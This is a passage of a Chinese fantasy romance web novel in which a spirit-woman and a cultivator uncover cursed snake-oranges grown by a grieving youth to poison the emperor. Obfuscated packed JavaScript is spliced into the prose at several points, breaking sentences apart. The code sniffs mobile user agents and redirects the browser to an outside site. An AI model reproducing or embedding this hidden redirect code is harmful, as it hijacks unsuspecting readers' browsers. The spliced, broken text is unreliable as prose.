感受到环在自己背后有力的臂膀,脑袋抵着他宽阔坚硬的胸膛,沉稳有力的心跳声传进耳中,岚孟鼓噪的心忽然平静了下来。 “你干什么?” 柳逸直弓着身将脑袋搁在她的肩膀上,感受着这难得的片刻温情。他呢喃着:“快一点喜欢上我,好不好?” 姑娘沉默了一会,闷声道:“我不想喜欢上谁。” “为什么?” “要是死了怎么办?” 这话没头没脑,柳逸直却听懂了。从前,她的世界只有尧玦一个人,可是强大如尧玦,也会猝然长逝,消失于天地之间,再也看不见他的身影,听不见他的笑声,随着时间的推移,他存在的痕迹会被岁月一点点磨灭,直至再也找寻不到。所以她恐惧,害怕失去,因而从不轻易对旁人敞开心扉,拒人于千里之外,不动情,就不会受伤。 柳逸直收紧了胳膊,将人重重按进怀里,坚定道:“我不会死。” 岚孟油盐不进:“是人都会死。” 柳逸直哑然失笑,“我对你那么好,你怎么咒我?” 岚孟心生恼意,抬腿狠狠踩了他一脚,挣开他的怀抱将人一把推了出去,生气道:“滚远点。” 柳逸直吃痛地跳了几步,笑着将手伸进她即将合上的门缝里。 岚孟见他伸进来的是左手,连忙止住力道,才没让门夹上他这条脆弱的胳膊,皱眉低呵道:“你能不能长点心?又断了怎么办!” 柳逸直面上笑意更甚,他握住她的手,轻轻捏了捏她的手心,温柔道:“没事的,你看,已经快好了。” 岚孟的脸色并没有缓和,她挣开他的手,冷声道:“快回去吧,我要休息了。” “行,那我明日再来看你。” “明日也别来。” 房门“砰”地一声合上了,掀起的风撩起了柳逸直鬓边的发丝,差点没呼在他脸上,“噔噔噔”的脚步声响起,造成这一切的罪魁祸首已经上楼躺进了被窝里。 柳逸直在门口站了一会,才转身离开了,脚步是那样的轻快。 而阁楼上的人却心潮汹涌,闭着眼睛怎么也睡不着,烦躁地将被子踢来踢去,睁开眼睛望着藕荷色的帐顶,脑海里浮现全是那个讨厌的家伙的灿烂笑容。 烦人。 - 翌日,天光大亮,岚孟刚走出房门,便见柳逸直从山石后钻了出来,见到她时面上一喜,快步走近前来。 岚孟面上不太自然,立在原地没有动,侧过身看着远处的山景,好在柳逸直也没说什么奇怪的话,开门见山道:“我去接舅父他们回来,可能会花上大半日的功夫,你想吃什么?我让人送来。” 万 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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最后一句话是对岚孟说的,她轻轻颔首,将准备好的八宝盒交给了路央。她身上也没什么好东西,就是种子多,挑着些名贵的放了进去,也算是九子莲蓬的回礼。 路央开开心心地收了,迈着轻快的步伐离开了杳云居。 岚孟坐到鸣珂旁边,歪头觑着鸣珂的神色,眉间仍有愁容,但尚算平静。她也没再多说安慰的话,她很清楚,言如期未醒之前,鸣珂什么话也听不进去,说再多也不过是徒劳无用。 “我要去卧泉城一趟,你想吃什么?我买回来给你。” 鸣珂虽然担心,但还是有几分食欲的,只是一时间也没想到吃什么,只让岚孟看着买。 岚孟自无不可,给了鸣珂几个玄灵果让她垫垫肚子,然后便离开杳云居进了卧泉城。 她先是到了万象斋,将之前发布的红尘酒悬赏撤掉了,虽然还不太明白夭夭说的是什么意思,但是凰族后人应该不至于为了诓骗她找上门来。 单看夭夭等自己窥探过“燧明之书”以后才现身将其取走,还告诉了岁寒山给女儿续命的方法,就能初步判断,她玩心极重,说白了就是吃饱了撑的,就想看看这些无知无畏的人是怎么为了一腔执念把自己撞得头破血流的,她告诉自己红尘酒的事情,估计也是想观望她到底能不能复活尧玦吧。 所以岚孟决定相信这个亦正亦邪的凰族后人。 虽然那场魔雨才过去四日光景,但卧泉城百姓的生活已然步上了正轨。楚祯下台,凝贵妃那妖女也跑了,真是大快人心,文唤音在民间素有贤名,由她执政可谓是众望所归。经内阁商议,释放所有被征调建塔的百姓,文唤音开了国库,给这些人补发了工钱,还颁布了新法令,举国上下减免赋税三成,此令一出,民间顿时沸沸扬扬,百姓们干活都有劲多了,所以后来颁布的归还姜国半数土地的法令也没有掀起太大的水花。 现如今卧泉城里喜气洋洋,从前那种死气沉沉的气氛一扫而空,百姓脸上都是真挚的笑容,就连大路边汪汪直叫的野狗也显得可爱起来。 岚孟跑了好几家酒楼订菜,花了她两个时辰的时间,走出最后一家酒楼时,已近正午,太阳散发着炽热的光芒,晒得人身上暖洋洋的,岚孟正了正头顶的帷帽,逆着人流往出城的方向走。 忽然听见前方一阵喧哗之声,夹杂着惊恐的喊叫,人们纷纷往四周跑开,岚孟好奇地挤进了人群之中,只见一个人痛苦地躺在地上滚打,而他的下身,已变成了长长的蛇尾,一团一团的花纹,好像是无数只阴森恐怖的眼睛。 96. 化蛇橘 那人匍匐在地上,苍白指甲深深抠进泥土里,很快就变得血肉模糊,他拖着沉重的身躯朝前爬行,蛇尾瘫软地拖在身后,鳞片摩擦着地上的碎石子,发出沙沙声响,他的脸上青筋暴起,显得狰狞恐怖,眼中满是痛苦,大滴大滴的泪珠从眼眶里滚落下来,求救的声音从干裂的唇间挤出,像是被火燎烧过一般嘶哑。 “救命……” “妖怪!他是妖怪!” “大家快跑啊!妖怪要吃人了!” 然而大家都惊恐地四处逃窜,没有一个人肯为他停住脚步,伸出救援之手,这其中包括毫不相识的陌生人,也包括他朝夕相处的家人。 浑浊的目光锁定了那对被吓得瘫坐在地上的母子,他那才五岁大的儿子被吓得哇哇大哭,妻子满脸泪痕,面上恐惧显而易见,抱着儿子一步步往后退。 他是人是妖,她们最清楚了不是吗?他挣扎着朝她们爬去,痛苦的眼神里带上了一丝希冀,“救救我……” 忽然,一片月白色的裙裾挡住了他的视线,他挣扎着仰头望去,透过黑色的薄纱,对上了一双无波无澜的眼睛,后脖颈忽地一痛,他眼前一黑,脑袋重重摔在地上昏死了过去。 岚孟蹲下来查看那人的情况,立即有劝阻之声传来。 “姑娘,快离远点!那人是妖怪!小心他吃了你!” 岚孟自己就是妖怪,哪里会怕?她看向发声之人,是个身材健硕的小伙子,于是问:“能麻烦你去报官吗?就说这里有人变成蛇妖了。” “变成蛇妖?”男子一头雾水,“姑娘的意思是人还能变成妖?” 岚孟道:“因为吃了不干净的东西。”她将蛇尾之人翻了个面,扯开他因在地上爬而脏得不像样子的衣裳,只见蛇鳞已经攀爬到了肚腹,正一寸寸迫近胸膛,要是脖子和脸也被蛇鳞覆盖,那这个人离变成真正的蟒蛇也不远了。 男子看她有模有样的,不像是在说假话,于是挤出人群朝衙门跑去了。 周围的百姓又害怕又好奇,见蛇尾之人躺在地上一动不动,戴着帷帽的姑娘摆弄他半天也没什么反应,于是胆子渐渐大了起来,纷纷围了上来查看情况,叽叽喳喳,讨论个不停。 有好事之人大胆地问:“姑娘,你说他吃了不干净的东西,到底是何物?” 岚孟没回答,而是看向身后的那对母子,问道:“此人是你丈夫?” 妇人已经镇定了下来,怀中儿子的哭声也逐渐微弱,她抱着儿子走到岚孟旁边半跪着,回答道:“是我家男人,他早上还好好的,说是发了工钱,要带我们母子下馆子吃顿好的,哪成想刚来到这里,他,他就……” 她泣不成声,已说不出话来,岚孟倒是听懂了她未说完的话,仔细问道:“这两日他可吃过什么奇怪的东西?” 妇人抹着眼泪,“就是平常吃的那些,我们也没什么钱买别的……”说到这里,她抹眼泪的动作忽然顿了一下,眼中闪过一丝慌乱,却什么也没说,抿紧了唇继续闷声流泪。 这点小动作当然没逃过岚孟的眼睛,她扯过男人的衣裳盖好他的身体,站起来拍了拍手,道:“对症才能下药,既然你不愿意说,那我也没法子治。正好你们母子二人的时间也快到了,一家三口整整齐齐的才好。” 妇人一听这话就慌了,见岚孟抬腿要走,急忙拉住她的裙角,焦急道:“姑娘这话是什么意思?” 岚孟俯视她,“还能有什么意思?吃了什么不寻常之物,你自己心里没点数?你男人吃了,你们母子就没吃吗?” 见妇人呆愣在原地,嘴唇嗫喏半天说不出话来,岚孟又下了一剂猛药:“你不妨看看你儿子的腿。” 妇人闻言立即将儿子的裤腿掀了起来,只看一眼她就几乎要昏厥过去,只见孩童结实的小腿上蛇鳞遍布,闪着银亮的光泽。她原先还以为儿子哭累了睡着了,哪成想是已经昏过去了! 四周众人自然也看见了小孩腿上密密麻麻的蛇鳞,骇然地惊叫出声。这时自然也有人反应了过来,出言提醒道:“这位大嫂,你们一家吃的是一样的东西,没道理你男人和儿子中了招,你就一点事都没有。” 妇人被点醒,也顾不得这是在大庭广众之下了,掀起自己的裤腿一看,果不其然已经长出了些许蛇鳞,只不过数量要比儿子少得多。 妇人这下再也不敢隐瞒,抱着岚孟的腿哭嚎道:“姑娘,对不起我错了!求您救救我们!我什么都说!求求您!” 岚孟掰开她的手,安抚道:“你别着急,慢慢说,还有时间,不会立即就变成蛇的。” 听到此话,妇人得到了些许安慰,稍微止住了哭泣,将事情娓娓道来。 原来她男人是被征调修建逐月塔的杂工,侥幸捡了条命回来,两日前去衙门领补发的工钱时,正好遇上了给宫里送菜的车队,马车驶过水坑抖了一下,车上便掉下来两个黄澄澄的橘子,寒冬腊月的,橘子可是稀罕物,他见没人发现,便将橘子拾起来揣进了兜里。 皇帝大兴土木建那劳什子逐月塔,苦的累的可都是他们这些老百姓,吃他两个贡品橘子怎么了?于是出了衙门以后,他便和几个兄弟分食了一个半橘子,剩下的半个带回了家,分别进了妻儿的肚子里。 妇人哭哭啼啼,她哪里知道那橘子竟然是会将人变成蛇的妖橘!要是早知道的话,又何必贪这点小便宜? “那橘子可是赤红如血,丝络严整如阵,且异香扑鼻?”岚孟追问道。 妇人点头称是。 这就是了。 岚孟曾听尧玦说过齐州深山里有一种蛇橘树,所结的果实赤红如血,有异香,每每引人来食,吃了以后便会从腿开始逐渐变成蛇,最后绕树而死,成为树的养分,极其邪门。尧玦好奇地紧,曾跑到齐州去找过这种蛇橘树,却一无所获,最后不了了之了。 没想到竟然会出现在这卧泉城里。 化蛇橘离树七日必会腐烂成血水,若是男人两日前拿到橘子还很新鲜的话,必然不会是从千里之外的齐州运来的,恐怕蛇橘树就长在卧泉城附近的某处。 这时,忽然有吵嚷的喧哗之声传来,是衙门的捕快来了。 “哪呢?妖怪在哪?要是没有,信不信老子抓你下大狱……哎哟我天!”本不相信王都里有妖的捕头一路上都骂骂咧咧的,直至见到躺在地上的蛇身男人时才猛然吓了一大跳,跟在他身后的捕快一时间刹不住脚,两人撞在一起差点摔个狗啃泥。 捕头踉跄几步才站稳身形,瞪大眼睛看着人身蛇尾的男人,惊恐地咽了咽口水。 这这这,他一个凡夫俗子,可捉不来妖怪啊? 前去报信的男子走到岚孟跟前,邀功似地说道:“姑娘,我把官爷请来了。” 岚孟道了一句“多谢”,抛给他三枚铜钱,男子登时喜不自胜地将铜板收进了怀里。 岚孟扭头朝捕头道:“除了这娘俩,吃过化蛇橘的人还有三个,估计也已经化蛇了,剩下的化蛇橘估计全在宫中,我的建议是立即派人到宫中报信,现在阻止说不定还来得及。化蛇之人也得分别收押,找到蛇橘树,把树砍了剥了树芯熬煮成汤服下就能解毒,不过要是完全化蛇就没法子了。” 妇人一听这话哭得更大声了,两手张开去找岚孟的腿,却被她轻易地躲开,妇人抱了个空。 “姑娘,不,仙子,求求您救救我们呜呜呜……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271385|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >妇人哭得肝肠寸断,虽说他们不该一时鬼迷心窍吃了来路不明的东西,但谁又能想到吃个橘子就能把自己吃成妖怪了呢?说到底也是无妄之灾。虽然岚孟被她的哭嚎声吵得脑仁都疼,但还是温声安慰道:“你别担心,你家男人少说也得六个时辰之后才会完全化蛇的,在这之前服下解药就可以了。” “可,可我上哪去找那什么蛇橘树啊……”妇人哭得更大声了。 “几位官爷会去找的。”岚孟指了指站在旁边一脸僵硬的捕快们。 见到梨花带雨的妇人朝自己看来,一双湿漉漉的眼瞳惹人心颤,捕快喉头一紧,心知自己是不行也得行了,于是拍着胸脯打包票道:“交给我们吧!必然不会让你男人做了那滑不溜秋的长虫去!” 他环顾四周,提高声音道:“大家都散了吧!该干嘛就干嘛去!要是再见到长着蛇尾巴的人,及时禀报官府!” 众人见状纷纷散开,各自回了家。捕头招呼着手底下的人去把蛇尾男人搬到衙门关押,见岚孟提步欲走,连忙跑上前去拦住她,央求道:“姑娘,你可不能走啊!我们上哪去找那蛇橘树去?” 岚孟道:“蛇橘树枝红而叶白,茎干盘虬如蛇,你们照着这个去找就行了。” 捕头急得跺脚,“那我们也不能满大街去找吧?总得有个大致方向吧?姑娘您既然能发现其中关键,想必不是一般人,您就好人做到底,送福送到西,帮帮我们吧!” 岚孟并不想惹这个麻烦,她不是什么至善至美、做事不求回报之徒了,自觉为他们找出症结所在已是仁至义尽,更何况蛇橘树就只是一棵树而已,又没有什么危险,六个时辰完全够了。 正打算开口拒绝时,忽然听到有人在唤自己,她闻声看去,见柳逸直正从一辆马车上跳下来,柳意欢将头伸出车窗,正笑着朝她挥手。 岚孟点了点头以示问候。 “发生什么事了?你没有受伤吧?”柳逸直跑过来问。 岚孟摇了摇头,简单解释了一下。 柳问也跟了过来,知晓来龙去脉以后,就去和捕头交涉去了。送进宫的贡品里有此等邪物,必定是有人刻意为之,他身为大理寺寺丞,探破此案责无旁贷。当然,更重要的是大难临头之前他不打一声招呼就告假跑了,现在回京有必要做点实事来表明自己对朝廷的忠心,不然他这官还当不当了? 柳问也不先回家了,和家人说了一声,便急匆匆同捕快们一起赶往衙门。 而剩下的柳逸直和岚孟,两人的气氛有些尴尬,一时间谁也没有说话。 早上那个亲吻完全是柳逸直见她睡眼惺忪煞是可爱,一时间昏了头,去接人的路上一直在胡思乱想,生怕她恼了,不过看她现在这个样子,倒也没有生气的迹象,于是悬在心头的巨石终于落了下来。 柳诉冲柳逸直吹了声口哨,挤眉弄眼,戏谑意味显而易见,柳逸直瞪了他一眼,转回头来,问岚孟要不要去柳宅吃顿便饭。他们俩的事情八字还没一撇呢,要是柳家人见了她,肯定要问东问西,他并不想给她压力。 “我没有强迫你的意思,你想去就去,不去也没事,一切都看你的意愿。” 岚孟正想说话,余光忽然瞥到了一抹熟悉的身影,她定睛一看,只见夭夭闲庭信步般走在背阴的小巷里,手里拿着一个黄澄澄的橘子。感受到她的目光,夭夭抬起头看了她一眼,唇角勾起一抹无辜的笑容,冲她扬了扬手里的橘子然后便转身朝巷子深处走去。 岚孟立即追了上去,柳逸直只来得及看见夭夭的背影,所以他没认出来那是谁。如今多事之秋,他不放心岚孟一个伤患独自乱跑,于是让柳诉等人先回家以后,便一头钻进了巷子里。 97. 左右棺 巷子狭窄,还有不少挡道的杂物,也不知夭夭是不是存心要将她骗到这种偏僻难行的地方,岚孟追得很吃力,先前损失的气血也不是几粒丹药、一颗莲子能够轻易养回来的,没一会儿她便跑得上气不接下气,夭夭扭头看了她一眼,轻轻笑了一声,拐过一个墙角后便消失不见了。 岚孟立即追了上去,然而墙角之后是一个四通八达的岔路口,早已没了夭夭的身影。 柳逸直在这个时候追了上来,见她双颊绯红一片,额头也都是汗,连忙将她扶坐到一旁的树桩上,从芥子袋里取出一壶水递给她,又拿出帕子给她擦了擦汗,见她急促的呼吸缓和了不少,才问道:“方才那女人是谁?她手里的就是化蛇橘?” “是‘燧明之书’的主人,那个凰族后裔,她自称夭夭,前不久还找过我,看来这次的事情也是她搞的鬼。” 柳逸直疑问道:“她还找过你?” 岚孟顿了顿,心想她现在遮遮掩掩的也没甚意思,后面只要她有所行动,眼前这人都会猜出来,还不如她主动坦白。 “红尘酒和孟婆泪的消息,就是她告诉我的。”岚孟将水塞回他手里,不太自然地别开了目光。 柳逸直心下了然,想必就是复活尧玦要用的东西了。他一垂眸,便看见了她搭在膝头的手,纤细瘦削,骨节分明,没什么血色,他半蹲在她身侧,视线刚好与她平视,透过鲛云纱,他望进那双无波无澜,不会为任何人动摇的眼睛里。 他握住她的手,手心的灼热传递过去,她微凉的指尖也渐渐回暖。 唇角勾起一抹会心的笑容,他开心道:“我很高兴,你能与我说这些,你放心,我会一直陪着你的,不论你今后要做什么。” 那双眼睛里有太多情愫,明晃晃地含着诚挚的爱意,他这样直白,反倒让岚孟更加无所适从,她猛地抽回自己发烫的手,侧过身去,目光落在不远处草丛里那群跟在母鸡身后啄虫吃的小鸡仔身上,她闷声道:“我才不需要人陪。” 柳逸直哑然失笑,没再逗她,问道:“所以,那个人怎么说的?” 一想起夭夭那些话,岚孟就感觉一个头有两个大。 “她说,无人可酿红尘酒,人人可做红尘梦。至于孟婆泪,她让我想想为什么苍生泪是孟婆汤,孟婆汤又为什么被称为孟婆汤。” 红尘梦?什么玩意? 柳逸直想了想,猜测道:“她这话的意思会不会是,红尘酒并不是由凡人拿粮食酿造出来的,而是和人们的梦境有关?你知道黄粱酒吗?” 岚孟皱眉:“你是说,喝了以后就能大梦一场,在梦中心想事成的那种酒?” “不错,喝了黄梁酒就能黄粱一梦,那反过来,用红尘梦酿造的就是红尘酒?” “梦境如何能酿酒?”岚孟不是很能理解。 “我记得在哪看到过类似的阵法,等事了了我回去翻一翻。”柳逸直道。 “至于孟婆泪,她这话倒是点醒我了,孟婆集众生之泪酿作孟婆汤,最后一味‘孟婆伤心泪’,不就是她自己的眼泪么?所以我想你用自己的眼泪替代即可。” 岚孟心想,这倒也不失为一个合理的解释,如此一来,就只剩红尘酒和引魂灯灯芯了。寸微云也已大限将至,过不了几天就会魂归西天。她眼神暗了暗,须得在群英会之前拿到暾云炬才行,只剩不到半个月的时间了,她得加快速度才行。 而且,她看了看自己放在膝头的手,白皙的手宛如洁白瓷器,没有一点血色。为了以防万一,还得尽快恢复修为才是。 柳逸直站了起来,伸手拈掉落在她肩头的花瓣,问道:“我得去找一找蛇橘树,你先回杳云居?” 岚孟从树桩上跳了下来,道:“不,我也去。”她改主意了,化蛇橘和夭夭脱不了干系,她倒是要看看那家伙葫芦里装的到底是什么药。 岚孟撩起鲛云纱往四周看了看,朝某个方向挥了挥手,一只游隼便从高高的树梢飞了下来,轻轻落在了她方才坐的树桩上,姿态谦卑恭顺,仿佛是一个忠诚可靠的仆人。 她温柔地摸了摸游隼的头,取出一个玄灵果喂给游隼,它高高兴兴地吃了,任由岚孟将一个芥子袋挂到了它脖子上。 “去吧,交到鸣珂手里。” 游隼长鸣一声,扑腾着翅膀朝杳云居的方向飞去了。 两人约定好一个时辰后在上次的酒肆里碰面,然后便分头在卧泉城里寻找蛇橘树。 卧泉城里人口密集,要是谁家院子里忽然冒出来一棵白色叶子的橘子树,街坊邻居肯定就传开了,但也可能存在橘子树很矮,高不过院墙,又或者存在被人用布匹、木板之流遮掩,因而没被其他人发现的情况,是以岚孟二人仔细勘察过城中每一寸角落,却不见半点蛇橘树的踪影。 两人又在栖凰山里找了一圈,仍然一无所获,甚至还打扰了屹立山巅几千年的老树精,一问才知除了他们几个住在杳云居里的,近期山上就根本没有人来。 回到城里时已是日暮时分。 和大理寺所在相邻的街道有一家店面虽小但是味道很不错的食馆,柳逸直将柳问叫到了那里,打听他的调查结果,令人庆幸的是柳问并非一无所获。 虽然消息及时传回了宫中,但昨日文唤音便将化蛇橘赏给了诸位大臣,不少人已经吃进了肚子里。文唤音立即将这些人都聚集起来,并且派出卫兵大力搜寻蛇橘树的下落。柳问则是从那一筐化蛇橘开始查起,顺藤摸瓜,查到了化蛇橘出现在贡品之中的时间节点。 “那筐橘子是混在南方一个下州的果蔬贡品车队里运送进来的,根据车夫所言,进入卧泉城之前还没有那筐橘子,中途经过了好几道盘查,等进宫的时候就多了筐橘子,可见歹人就藏身于卧泉城之中。” 柳问从袖子里取出一方锦帕递给柳逸直, “这个是从装橘子的竹篮底部找到的,你是不是有什么仙术可以追根溯源啊?” 柳逸直将锦帕打开,里面只有一片拇指大小的麻布,不知是何时卡进竹篮缝隙里的,观其成色,必不是宫中之物,但能不能据此找到将化蛇橘送进宫中之人,还未可知。 柳逸直将麻布放在桌子上,然后从芥子袋里取出一张符纸和笔,开始绘制追踪符。 柳问立即狼吞虎咽地吃着面条,忙了一个时辰,几乎滴水未进,饿得前胸贴后背了,好在不是一无所获。 店里拥挤,他和柳逸直同坐一桌,而就在隔壁的桌子旁,坐着一个沉默的女子,安静地喝着店里的粗茶。上午他们才见过,但那时他急着询问案情,也没注意她是何模样,现在仔细一看,当真是眉目如画,和他那三弟站在一块也是赏心悦目,郎才女貌。 柳问把头凑近柳逸直,压低了声音,几乎只用气音问道:“老三,你和闫姑娘是不是好事将近啊?” 对于岚孟的身份,柳逸直并没有多做解释,也没有透露她的真实姓名,更没有向舅父舅母坦白她是他喜欢的人,他们二人还以为岚孟只是他的同门好友呢。 只不过柳问三兄妹就不是一句“同门”就能打发得了了。 柳逸直落笔的手一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15276681|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顿,他侧目望了身旁女子一眼,正好对上了她清凌凌的目光,平静又坦荡。 “可能吧。”柳逸直回道。 柳问挑了挑眉,他也没多问,蒙头吃着面,咽下最后一口汤汁时,柳逸直也画好了追踪符,他将符纸放在麻布上方点燃,灰烬飘飘悠悠落到了麻布上,不多时,灰烬复燃,青色的火焰化作一只半透明的蝴蝶,扇动着翅膀从半开的窗户里飞了出去。 三人立即跟了上去,追踪蝶飞得很快,岚孟飞檐走壁,紧紧跟在后面,而柳逸直还得顾及肉体凡胎的柳问,速度稍微慢了一点,远远地望见岚孟跳进了一座宅院之中,再没有出来,便扭头朝柳问道:“大哥,你先在门口等一等,我让你进来你再进来。” 柳问那里不知道他这是怕自己拖后腿,气喘吁吁地答应,柳逸直下一秒便飞蹿了出去,柳问只感觉一阵风从脸上拂过,他下意识闭上眼,再睁开眼时,哪里还有柳逸直的身影? 黑黢黢的街巷里没有一个活人,夜风呼呼地吹,柳问冷不丁打了个寒战,鸡皮疙瘩瞬间便攀上了手臂,他用力搓了搓,鼓起勇气朝巷尾的那处宅院走去。 追踪蝶在墙边徘徊数圈以后便骤然消失了,借着惨白月光,岚孟看见墙边的木架上挂着一件布衣,看布料与纹路,和柳问拿出来的那块碎布一般无二。 这座宅院只有一间正房一间耳房,静悄悄的,没有一点声音,正房门大开着,细弱的烛光将一个瘦削的背影映在门边,随着夜风悠悠晃动。 岚孟迈步朝正房走去。方才她所站立的位置偏僻,尚不能看清屋中全貌,直到正对着房门,她才看见屋中是何等光景——梁上挂着白布,梁下并排摆放着两口棺材,棺前的白烛燃了一半,散发着幽幽光芒。 一个身穿布衣,胳膊上扎着白布的少年背对着她跪在棺前,身材单薄又瘦削,仿佛一阵轻微的风就能将其吹倒,然而他一动也不动,兀自挺直了腰杆,也不知道他跪了多久。 左边的一口棺材已经钉死,右边的棺材却敞开着,一杈树枝破棺而出,有着赤红的茎干和白色的叶子,树梢上还坠着一个黄灿灿的橘子。 柳逸直翻墙进来时,看到岚孟呆呆地站在正房廊下,幽幽烛火照在她的身上,背影瘦削又寂寥。而她正前方的屋中,跪着一个同样瘦削的少年,两口棺材静静躺在那里,无言的压抑与沉闷如水化开,重重压在柳逸直心头。 微微晃动的烛火模糊了他的眼睛,那一刻,他好像望见跪在棺前的不是别人,是那个他放在心上的姑娘;站在廊下沉默不语的人也不是她,而是他自己。 心尖微疼,恐惧如潮水般淹没了他。 柳逸直大步走上前去,一把攥住了她的手,掌下肌肤光滑细腻,微凉的触感让他心神稍安,他问道:“认识?” 岚孟皱眉不语,想要挣开他的手,无果,也就随他去了,答道:“展恪的弟弟,展愧。几日前他哥哥被皇帝斩了脑袋,我还遇到他去收尸。” 初见时,他还是个活泼开朗的少年,会仗义出手,会因陌生人的一点点微不足道的善意就喜笑颜开,即便生活清贫,也不失生的希望。 但老天就喜欢和人开玩笑,上一秒还对你说,孩子,好日子就要来了,下一秒就变了脸色,毫不留情地将他唯一的亲人带走了。 明明他们还约好了,等逐月塔建成之后,要一起去城外踏青游玩的。 少年眼神灰败没有一丝光亮,双颊凹陷,没有一丝血色,胸前血迹斑斑,整个人一脚踏进了死亡的边缘,一如棺前的残烛,风一吹便灭了。 98. 红尘酒 沉闷寂静的暗夜忽地被一阵整齐的脚步声打碎,甲胄相撞发出铿锵声响,火把照亮了浓墨一般的夜色,人们被这声响与光亮吵醒,纷纷起身披衣,打开家门,欲探查发生了何事。 然而刚探出个头,便被横刀银亮的光芒刺疼了眼,“看什么呢!都滚回去睡觉!谁要是敢窥探,休怪刀剑无眼!”众人纷纷回避,不敢再有什么看热闹的心思,滚回被窝里去了。 不多时,一辆低调的马车缓缓驶进了狭窄的小巷,在一户被卫兵和火把包围的民宅前停了下来,车帘被掀开,一个身着玄金衣袍的女子跳下了车。她有着一双明亮的眼睛,神情冷静沉着,不怒自威,浑身都充满属于上位者的气息。 柳问匆匆跑了出来,拱手朝女子行礼,“殿下。” 文唤音摆了摆手,抬腿朝门内走去,问道:“情况如何?” 柳问慢她一步,恭敬答道:“回殿下,展愧已经招供了,蛇橘树也在此处,柳……两位仙长已经帮忙将蛇橘树挖出来了。” 文唤音看见庭院里一棵赤红的树木,白色叶子被摧残得落了一地,一男一女拿着刀剑在削树皮,每削去一层树皮,便会有红色的汁液流淌下来,就好像殷红的血液。 事后,她曾听姜旻说起过,除了鸣珂和言如期,还有两位仙长也参与了此次行动,一个叫柳逸直,一个叫闫扶音,想必就是这两位了,她一一见礼,表达了自己的感谢。 柳逸直拱手道:“皇后殿下客气了,此乃丹灵卫分内的事情。展愧在堂屋里,他用自己的血孕养了蛇橘树,失血过多,眼下已经是进气多出气少,您要问话的话,还需尽快。” 文唤音闻言立即往堂屋走去,四个卫兵站在屋中角落,手中火把照亮了整间屋子,瘦得皮包骨的展愧一动不动地躺在地上,若不是他的胸膛微微起伏着,文唤音都要怀疑他是不是已经死了。 柳问将供词盛了上来,文唤音一目十行地看完了,展愧对自己栽培蛇橘树、将化蛇橘扮作贡品送入宫中,欲谋害皇帝及一干朝臣的事情供认不讳,理由是皇帝砍了自己相依为命的哥哥展恪,他心怀不忿,誓要为兄长报仇。只可惜他一个人没法做到天衣无缝,化蛇橘竟是被几个工匠捡了去,东窗事发的时间要比他预想的早,否则他怎么可能会留着能用来解毒的蛇橘树。 虽然供词上写得清清楚楚,可文唤音还是半蹲在展愧身侧,看着他惨白如雪的脸,问了一句为什么。 展愧睁开眼睛,直愣愣地瞪着头顶的房梁和瓦片,嘴角扯出一个要哭不哭的弧度,“为什么?楚祯杀了我哥哥,你说为什么?他不建那劳什子逐月塔,我大哥就不会死,宁舟哥也不会死,姚三叔也不会被掉落的瓦片木头活活砸死,都是逐月塔的错,都是你们这些人的错。为什么还要留着楚祯的狗命?不是说天子犯法和庶民同罪吗?他害死了那么多人,为什么不杀了他?” “还有你!”展愧将头扭了过来,血丝密布的眼睛好像要从眼眶里凸出来,狠狠瞪着文唤音,他质问道:“你不是皇后吗?你的男人做了那么多伤天害理的事情,你为什么不阻止他?为什么?” 一滴血泪从展愧的眼角淌了下来,重重砸在地面上,好似砸在文唤音的心头,“咚”地一声。 心脏一阵痉挛,文唤音张了张嘴,却说不出一句话来。她能说什么?她受制于许凝,连自己的安全都无法保证,所以心有余而力不足?楚祯被妖人迷惑,犯下那等滔天之火也非他本意?展恪被砍头的时候,她已经被废黜,甚至是几天后才得知的消息,发生这样的事情她也无可奈何? 千言万语堵在喉头,最终只浓缩为一句“抱歉”。 文唤音走出了堂屋,发现院子里空无一物,蛇橘树的树芯已经被送去熬煮了,过不了多久所有化蛇之人都会恢复原状,虽然造成了不小的恐慌,但无人员伤亡,除了那个犯下恶行的罪魁祸首。 岚孟安静地坐在廊下台阶上,目光不知落在何处,文唤音走到她旁边,轻声问道:“仙长,没有办法救展愧一命吗?他罪不至死。” “他早已存了死志,就连棺材都买好了,这样的人,即便用再好的药吊住他的命,也不过是行尸走肉罢了。”岚孟道。 文唤音垂下眼眸,嘴角扯出一个苦涩的笑容,像是要哭了。这场无妄之灾像是阴霾一般压在楚国百姓心头已经几个月了,如今总算迎来了结束,她还有很多事情要做,绝不能在这个时候倒下。文唤音惆怅了一会儿,便重新打起了精神,雷厉风行地安排后续事宜,展宅只留了两个卫兵看守,其余人都各自忙各自的事情去了。 夜晚再次安静下来。 岚孟走进堂屋,单膝跪在展愧身边。他的生机在逐渐流失,要不了多久就会变成一具不会说话不会笑的死尸,被装进冷冰冰的棺材里,魂归西天,凡尘俗世再也不能扰乱内心。 人们常说有时候死也是一种解脱,最难最苦的永远是活下来的人,岚孟觉得,这句话一点也没有错。 “我们见过一面,还记得吗?”岚孟问道。 展愧勉力睁开眼睛,望着她的脸,记忆浮现在脑海里,他动了动嘴:“是你。” “该死之人都还好好活着,大仇未报,你却就这样死了,不会觉得不甘心吗?” 